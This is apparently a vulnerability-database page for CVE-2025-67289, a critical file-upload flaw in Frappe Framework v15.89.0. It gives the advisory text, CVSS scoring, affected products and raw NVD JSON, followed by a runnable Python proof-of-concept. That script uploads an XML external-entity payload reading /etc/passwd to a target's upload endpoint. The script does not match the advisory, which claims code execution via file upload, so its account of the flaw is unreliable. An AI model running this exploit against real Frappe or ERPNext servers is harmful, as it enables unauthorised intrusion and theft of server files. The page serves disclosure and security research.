Security Vulnerability Report
中文
CVE-2025-67289 CVSS 9.6 CRITICAL

CVE-2025-67289

Published: 2025-12-22 18:16:17
Last Modified: 2026-01-02 17:45:32

Description

An arbitrary file upload vulnerability in the Attachments module of Frappe Framework v15.89.0 allows attackers to execute arbitrary code via uploading a crafted XML file.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:frappe:erpnext:15.89.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:frappe:frappe:15.89.0:*:*:*:*:*:*:* - VULNERABLE
Frappe Framework < 15.89.0
Frappe Framework v15.89.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-67289 PoC - Frappe Framework Arbitrary File Upload # Target: Frappe Framework v15.89.0 def exploit(target_url, file_path): """ Exploit arbitrary file upload in Frappe Framework Attachments module """ upload_url = f"{target_url}/api/method/upload_file" # Craft malicious XML file with embedded code malicious_content = '''<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <data>&xxe;</data> </root>''' files = { 'file': ('exploit.xml', malicious_content, 'application/xml') } data = { 'doctype': 'Attachment', 'docname': 'Test' } try: response = requests.post(upload_url, files=files, data=data, timeout=10) print(f"Status: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] File uploaded successfully!") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") sys.exit(1) target = sys.argv[1] exploit(target, 'malicious.xml')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67289", "sourceIdentifier": "[email protected]", "published": "2025-12-22T18:16:16.947", "lastModified": "2026-01-02T17:45:31.930", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary file upload vulnerability in the Attachments module of Frappe Framework v15.89.0 allows attackers to execute arbitrary code via uploading a crafted XML file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:erpnext:15.89.0:*:*:*:*:*:*:*", "matchCriteriaId": "1CC1D0D0-BC4D-4B76-9944-901AD24CF1EE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe:15.89.0:*:*:*:*:*:*:*", "matchCriteriaId": "99FA200C-EB2E-4C24-AACC-9B9A8BE3901D"}]}]}], "references": [{"url": "http://erpnext.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://frappe.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/vuquyen03/CVE/blob/main/CVE-2025-67289/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}